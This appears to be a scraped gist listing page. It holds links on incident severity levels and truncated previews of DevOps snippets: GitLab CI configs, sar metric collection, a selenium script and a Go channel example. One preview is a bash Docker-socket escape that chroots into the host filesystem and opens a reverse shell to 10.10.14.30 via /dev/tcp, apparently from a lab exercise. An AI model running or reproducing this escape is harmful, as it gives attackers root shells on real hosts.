- https://response.pagerduty.com/before/severity_levels/ - уровни серьезности инцидентов (пример)
- https://www.blameless.com/blog/severity-levels - Severity Levels (What They Are & Why They Matter)
- https://www.atlassian.com/incident-management/kpis/severity-levels - Understanding incident severity levels
- https://rootly.com/blog/practical-guide-to-sre-incident-severity-levels - руководство по составлению классификации инцидентов
- https://www.blameless.com/blog/severity-vs-priority - Severity vs. Priority | Понимание разницы
- https://www.bmc.com/blogs/impact-urgency-priority/ Матрица влияния-срочность-приоритет
- https://www.blameless.com/blog/incident-priority-matrix Incident Priority Matrix (Understanding Impact and Urgency)
- https://www.blameless.com/blog/incident-management-best-practices - Best Practices for Effective Incident Management
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # you can see images availables with | |
| # curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | |
| # here we have sandbox:latest | |
| # command executed when container is started | |
| # change dir to tmp where the root fs is mount and execute reverse shell | |
| cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """Prints a PlantUML diagram that shows the DAG of the GitLab pipeline""" | |
| import sys | |
| import yaml | |
| from pprint import pprint | |
| def merge(user, default): | |
| if isinstance(user,dict) and isinstance(default,dict): | |
| for k,v in default.items(): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| image: an-image-with-docker-and-docker-compose | |
| variables: | |
| DOCKER_TLS_VERIFY: "1" | |
| DOCKER_CERT_PATH: ".docker" | |
| before_script: | |
| - mkdir -p $DOCKER_CERT_PATH | |
| - echo "$DOCKER_CA" > $DOCKER_CERT_PATH/ca.pem | |
| - echo "$DOCKER_CERT" > $DOCKER_CERT_PATH/cert.pem |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # за 20-30 минут до начала прогрузки запустить сбор всех метрик (-A) | |
| # с частотой раз в 10 сек, на 6 часов: 6 * 60 * 60 / 10 == 2160 циклов сбора метрики | |
| timestamp=`date "+%s"`; nohup sar -A -o sar_`hostname`_${timestamp}.out 10 2160 & | |
| # через 6 часов, полученный файл можно сразу переконвертировать в формат csv | |
| LC_ALL=C sar -A -f sar_`hostname`_${timestamp}.out > sar_`hostname`_${timestamp}.csv |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| build:install-vendor: | |
| stage: build | |
| image: <any-image-with-composer> | |
| before_script: | |
| - composer config -g cache-dir "$(pwd)/.composer-cache" | |
| script: | |
| - composer install --ignore-platform-reqs --no-dev --optimize-autoloader --no-ansi --no-interaction --no-progress | |
| cache: | |
| paths: | |
| - .composer-cache/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Install chromedriver from https://sites.google.com/a/chromium.org/chromedriver/downloads | |
| import os | |
| from optparse import OptionParser | |
| from selenium import webdriver | |
| from selenium.webdriver.chrome.options import Options | |
| CHROME_PATH = '/usr/bin/google-chrome' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package channel | |
| import ( | |
| "fmt" | |
| "sync" | |
| "time" | |
| ) | |
| func ExampleUnbufferedSend() { | |
| c1 := make(chan string) |
NewerOlder